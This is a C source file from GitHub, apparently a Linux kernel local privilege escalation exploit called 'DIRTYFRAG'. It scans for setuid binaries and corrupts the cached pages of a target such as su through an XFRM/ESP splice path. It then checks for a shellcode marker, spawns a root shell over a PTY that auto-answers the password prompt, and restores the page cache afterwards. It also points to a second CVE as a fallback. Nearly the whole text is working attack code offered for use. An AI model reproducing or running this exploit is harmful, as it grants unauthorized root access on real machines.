| if (!slave_name) { | |
| close(master); | |
| return -1; | |
| } | |
| struct winsize ws; | |
| if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) | |
| ioctl(master, TIOCSWINSZ, &ws); | |
| pid_t pid = fork(); | |
| if (pid < 0) { | |
| close(master); | |
| return -1; | |
| } | |
| if (pid == 0) { | |
| setsid(); | |
| int slave = open(slave_name, O_RDWR); | |
| if (slave < 0) | |
| _exit(127); | |
| ioctl(slave, TIOCSCTTY, 0); | |
| dup2(slave, 0); | |
| dup2(slave, 1); | |
| dup2(slave, 2); | |
| if (slave > 2) | |
| close(slave); | |
| close(master); | |
| if (target_is_su_binary(g_target)) | |
| exec_su_login(); | |
| exec_patched_target(); | |
| } | |
| signal(SIGTTOU, SIG_IGN); | |
| signal(SIGTTIN, SIG_IGN); | |
| signal(SIGPIPE, SIG_IGN); | |
| signal(SIGHUP, SIG_IGN); | |
| struct termios saved_termios; | |
| int restore_termios = 0; | |
| if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { | |
| struct termios raw = saved_termios; | |
| cfmakeraw(&raw); | |
| if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) | |
| restore_termios = 1; | |
| } | |
| int auto_pw_sent = 0; | |
| int stdin_eof = 0; | |
| int saw_master_output = 0; | |
| int total_ms = 0; | |
| char buf[4096]; | |
| for (;;) { | |
| struct pollfd pfds[2] = { | |
| { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, | |
| { master, POLLIN, 0 }, | |
| }; | |
| int pr = poll(pfds, 2, 200); | |
| if (pr < 0 && errno != EINTR) | |
| break; | |
| total_ms += 200; | |
| if (pfds[1].revents & POLLIN) { | |
| ssize_t n = read(master, buf, sizeof(buf)); | |
| if (n <= 0) | |
| break; | |
| saw_master_output = 1; | |
| write(STDOUT_FILENO, buf, n); | |
| if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) { | |
| buf[n] = '\0'; | |
| if (strstr(buf, "Password") || strstr(buf, "password")) { | |
| write(master, "\n", 1); | |
| auto_pw_sent = 1; | |
| } | |
| } | |
| } | |
| if (!stdin_eof && (pfds[0].revents & POLLIN)) { | |
| ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); | |
| if (n <= 0) | |
| stdin_eof = 1; | |
| else | |
| write(master, buf, n); | |
| } | |
| if (pfds[1].revents & (POLLHUP | POLLERR)) | |
| break; | |
| if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) { | |
| write(master, "\n", 1); | |
| auto_pw_sent = 1; | |
| } | |
| int status; | |
| pid_t w = waitpid(pid, &status, WNOHANG); | |
| if (w == pid) { | |
| for (int i = 0; i < 5; i++) { | |
| struct pollfd pf = { master, POLLIN, 0 }; | |
| if (poll(&pf, 1, 50) <= 0) | |
| break; | |
| ssize_t n = read(master, buf, sizeof(buf)); | |
| if (n <= 0) | |
| break; | |
| write(STDOUT_FILENO, buf, n); | |
| } | |
| break; | |
| } | |
| } | |
| if (restore_termios) | |
| tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); | |
| close(master); | |
| return 0; | |
| } | |
| static int restore_original(void) | |
| { | |
| if (!g_have_backup) return -1; | |
| // just drop the file's page cache -> kernel reloads from disk | |
| int fd = open(g_target, O_RDONLY); | |
| if (fd < 0) return -1; | |
| posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED); | |
| close(fd); | |
| // verify first 8 bytes match backup (disk copy) | |
| unsigned char cur[8]; | |
| fd = open(g_target, O_RDONLY); | |
| if (fd < 0) return -1; | |
| int n = pread(fd, cur, 8, 0); | |
| close(fd); | |
| if (n != 8) return -1; | |
| if (memcmp(cur, g_backup, 8) != 0) return -1; | |
| return 0; | |
| } | |
| static void parse_args(int argc, char **argv) | |
| { | |
| for (int i = 1; i < argc; i++) { | |
| if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) | |
| g_verbose = 1; | |
| else if (argv[i][0] != '-') | |
| g_target = argv[i]; | |
| } | |
| if (getenv("DIRTYFRAG_VERBOSE")) | |
| g_verbose = 1; | |
| } | |
| int main(int argc, char **argv) | |
| { | |
| g_tty = isatty(STDOUT_FILENO); | |
| setlinebuf(stdout); | |
| parse_args(argc, argv); | |
| if (getuid() == 0) { | |
| execlp("/bin/bash", "bash", (char *)NULL); | |
| _exit(1); | |
| } | |
| print_banner(); | |
| if (check_kernel_config() < 0) | |
| return 1; | |
| if (check_userns_runtime() < 0) | |
| return 1; | |
| if (scan_setuid_binaries() < 0) | |
| return 1; | |
| phase_header(4, "ESP corrupt (XFRM/UDP 4500)"); | |
| printf(" %s→%s target: %s%s%s\n\n", C(C_DIM), C(C_RST), C(C_MAG), g_target, C(C_RST)); | |
| { | |
| char why[256]; | |
| if (probe_target(g_target, why, sizeof(why)) < 0) { | |
| status_line("target", 0, why); | |
| fprintf(stderr, | |
| "\n%s [!] Exploit needs read+execute on the setuid binary (open for splice).%s\n", | |
| C(C_YEL), C(C_RST)); | |
| fprintf(stderr, | |
| "%s [!] Shared hosting often blocks reading /usr/bin/su even though 'find' lists it.%s\n", | |
| C(C_YEL), C(C_RST)); | |
| fprintf(stderr, | |
| "%s [!] Use a full VM/VPS/lab where you can: cat %s | head -c 4%s\n\n", | |
| C(C_YEL), g_target, C(C_RST)); | |
| return 1; | |
| } | |
| } | |
| status_line("target", 1, "setuid + readable + openable"); | |
| if (target_already_patched(g_target)) { | |
| status_line("patch", 1, "already patched — skip corrupt stage"); | |
| } else { | |
| if (save_original(g_target) < 0) { | |
| status_line("backup", 0, "failed to save 192 original bytes"); | |
| return 1; | |
| } | |
| status_line("backup", 1, "192 bytes saved"); | |
| printf("\n%s [*] unshare userns+netns, register %d XFRM SA, splice→UDP 4500...%s\n", | |
| C(C_YEL), TOTAL_SAS, C(C_RST)); | |
| { | |
| char err[256]; | |
| if (run_esp_corrupt_stage(err, sizeof(err)) < 0) { | |
| status_line("corrupt", 0, err[0] ? err : "ESP path failed"); | |
| fprintf(stderr, | |
| "\n%s [!] Common on shared/VPS hosts: XFRM netlink blocked, splice restricted, or kernel patched.%s\n", | |
| C(C_YEL), C(C_RST)); | |
| fprintf(stderr, | |
| "%s [!] Try: uname -r and test on WSL2/lab. Without userns: CVE-2026-43500 (rxrpc).%s\n\n", | |
| C(C_YEL), C(C_RST)); | |
| return 1; | |
| } | |
| } | |
| status_line("corrupt", 1, "all iterations done"); | |
| status_line("verify", 1, "shellcode marker at 0x78 OK"); | |
| } | |
| phase_header(5, "root shell"); | |
| printf("\n%s", C(C_GRN)); | |
| printf(" ╔══════════════════════════════════════╗\n"); | |
| printf(" ║ root shell — exit to restore ║\n"); | |
| printf(" ╚══════════════════════════════════════╝\n"); | |
| printf("%s\n", C(C_RST)); | |
| printf(" %s→%s spawn: %s%s\n\n", C(C_DIM), C(C_RST), g_target, C(C_RST)); | |
| if (run_root_pty() < 0) { | |
| status_line("pty", 0, "PTY failed, trying direct exec"); | |
| exec_patched_target(); | |
| fprintf(stderr, "%s [!] exec %s: %s%s\n", C(C_RED), g_target, strerror(errno), C(C_RST)); | |
| return 1; | |
| } | |
| printf("\n%s [*] shell closed — restoring page cache...%s\n", C(C_YEL), C(C_RST)); | |
| if (restore_original() < 0) { | |
| fprintf(stderr, "%s [!] restore failed — try: echo 3 | sudo tee /proc/sys/vm/drop_caches%s\n", | |
| C(C_RED), C(C_RST)); | |
| return 1; | |
| } | |
| printf("%s [+] target restored from disk.%s\n\n", C(C_GRN), C(C_RST)); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment